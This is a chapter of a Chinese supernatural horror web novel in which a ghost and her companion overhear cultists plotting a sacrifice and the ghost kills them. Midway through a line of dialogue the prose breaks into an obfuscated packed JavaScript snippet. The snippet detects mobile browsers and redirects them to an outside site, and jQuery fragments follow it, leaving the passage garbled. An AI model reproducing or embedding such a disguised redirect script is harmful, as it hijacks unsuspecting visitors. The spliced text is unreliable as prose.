街头巷里转了半天，一人一鬼还是没找到称骨斋的大门。


    比在阴间版葬铃村里迷路更邪门的是，她俩头一抬的工夫，就被扭曲的空间打包塞到了六葬菩萨的——大概是六葬菩萨的庙门之外。


    村里修葺的草棚木屋被换成了砖瓦的庙宇，立在周围和现实无二的低矮平房之间，有种堪称宏大的观感。跟她俩瞥一眼都嫌晦气的六葬庙不能说一模一样，只能说毫不相干。


    但毕竟这地方是六葬菩萨的地盘，这回组团进来的人从名义上讲也都是六葬的狂信徒，再去猜这庙宇神龛从属于其他鬼神未免太过不合时宜。更别提空间里那腻人的腥甜骤然厚重，像是要将人的肺腑都浸透，如同在白纸泼墨一般烙上六藏菩萨的印记。


    识别性太强，令人恶心。


    “呼..”


    身侧传来压抑的吐息。聂莫黎听见萧潇的自语：


    “不太舒服”


    不太舒服已经是很轻描淡写的说法了，聂莫黎看得出来。


    祭品脸上的血色又淡了些，连带着目光都涣散瞬间，应当是用了挺大的力气才抑制住跃跃欲试想要扑人的怨气。


    不能让萧潇再靠近六葬了


    “在这里等我”


    庙里还有人群谈笑的声响，也是飘忽的，带着股奇异的安宁。不想招来不必要的麻烦，聂莫黎压低声音，“我去看看有没有能被法力稳定的通路。不能再这样乱走了。你别靠近庙里。”


    萧潇点点头，缩到庙墙外一棵枯树的阴影里。


    拖慢思维的疲惫一点一点累积起来，精神却愈发亢奋，唤醒潜藏的凶性。不远处一团团标示着生命的阳气愈发显眼，沁进风里，让人升起些狩猎的欲望。


    她咬了咬舌尖，压下这股凶戾的食欲。


    轻薄的怨气散进清风，不听话地向外蜿蜒。于是人类松弛到有些懒散的笑声就飘进感知，勾走鬼魂的注意。


    “你说她是圣女？”


    有人在质疑，玩笑似的，慢悠悠的：“成年了吗...哈..你别又忽悠我..”


    圣女很年轻？


    在意外响起的关键词里重新打起精神，萧潇悄悄起了身，循着声源靠近——


    “欸..好不容易偷偷拍来的，怎么能不信我..”


    连反驳也带着点梦游似的语气。套着件道袍的年轻人斜斜倚在石柱边，眯着眼睛：“骗你我以后每次画符都错在最后一笔”


    “信了信了，小心点，别那么大声..”


    “嗐，拍都拍了还怕什么。你看这张，笑起来多好看...”


    手机屏幕的光在灰暗的庙里亮得扎眼。鬼魂清晰的视野扫过去，一眼便认出那张分外眼熟的面孔。


    ..千子娘？


    萧潇又确认了一遍


    过于年少的眉眼，鬓角垂落的碎发，若有若无提起的唇角..像是从未考虑过、或者说从未在意过身份暴露的可能，祂完全没有认真遮掩，除了将那身过于古风的衣服换掉以外几乎和她们刚刚见到的模样毫无变化。


    真的是她？为什么？


    顽固的困意还在脑子里打转，曾经一闪而过的迷惑却一窝蜂挣脱了桎梏，争先恐后地涌上来：千子娘偶尔看向聂莫黎时那种包含兴味的目光，六葬信徒进犯千子树时祂堪称包容的平和，以及看向自己时——


    看向自己时，那份带着评估意味的审视。


    萧潇安静地看了两秒，然后移开视线。


    原来如此。


    “找到了——你在看什么？”


    “没什么”


    交头接耳的信徒已经收起了手机，望着天空有一搭没一搭地聊起其他。萧潇凑到聂莫黎身边讨了个拥抱，什么也没有说。


    另一人就顺理成章地误解了她的意思，毫无怀疑地抬手摸摸她的后脑：


    “想要阳气可以从我身上取，不影响行动就可以。别吃乱七八糟的东西”


    “知道啦..”


    ··········


    聂莫黎找到的通路确实有效，用千子娘的法力中和掉六藏菩萨的影响后，她们终于见到了称骨斋熟悉的牌匾。


    ——以及和其他场景类似的轻松的人声


    “..睡的真香啊..看得我都想睡会儿了”


    “人家那叫昏迷，有点常识行不行”


    “嗨哟，火气何必这么大。你还真以为跟着那群外来户去攻千子树是什么好活？”


    萧潇眉梢一挑。又听见那人道：


    “哼，要真是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319429|175897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么轻松的活计，也不至于把葬尊赐下的法器带上还嫌不够，又去想方设法搞来热武器..”


    “留在这里有什么不好？守着个安静的睡美人，到了时间就起阵把人献给葬尊——要是还能剩下点骨血，你我的法器兴许也能再升上一阶。还省了顶着监控捉小孩的功夫，有什么不好？”


    年纪轻的那个气势就弱下去：“婆婆想要婴灵炼樟柳神..”


    她侧头看聂莫黎。聂莫黎的眉心微微蹙着。


    “人家拿你当玩具顺手捞你一把，你还真把人家当亲人了？”


    又斜斜插进一个人声，有点讽刺又有点包容的：“得了，等葬尊临世咱们都成了仙..”


    后面就没什么新鲜的东西了，翻来覆去无非就是那些：突袭千子树的计划，法器热武器都备齐了，人手也到位了，就等“晚点”动手，然后鸡犬升天。说得倒是轻巧，像是在等一场早就定好了日子的庙会。


    信徒们大约也确实觉得是庙会。守在法坛旁边等别人去卖命，自己只用时辰一到就杀个没有反抗能力的人。简直是坐享其成，这差事放在哪儿都算美的。尤其对道行一般的人来说，不用去跟千子树上那些婴灵真刀真枪地干——简直没有比这更划算的买卖了。


    她们悄悄到了窗边。


    人不多，老的少的打包算也就四个。坐姿懒散，警惕心约等于零。


    也是，法坛有防护，里世界又是六葬菩萨的地盘，活人能进来的就那么几拨，都是自己人，谁会来找麻烦呢。


    “三秒”萧潇说


    风起


    人倒的无声无息——本该是这样。可不知是什么扰动了本就脆弱的灵魂，几抹荧光从魂魄中跳出来，浅灰色的雾气就融进风里。于是轻柔鼓动的微风骤然暴涨，人类的胸腔猛地鼓起，随即是沉闷的、湿润的碎裂声


    暗红色的血沫从他们口鼻之间涌出来，像是一场轻盈的落潮。


    “啧。没控制好。”


    蓦然恍惚了一瞬的厉鬼啧了一声，语气里说不上有多在意。就像是做菜时盐放多了半勺，值得叹一口气，但也仅此而已。


    聂莫黎看见萧潇转来的目光，依旧是温柔的，带着些真心实意的担忧：


    “抱歉，有吓到吗？”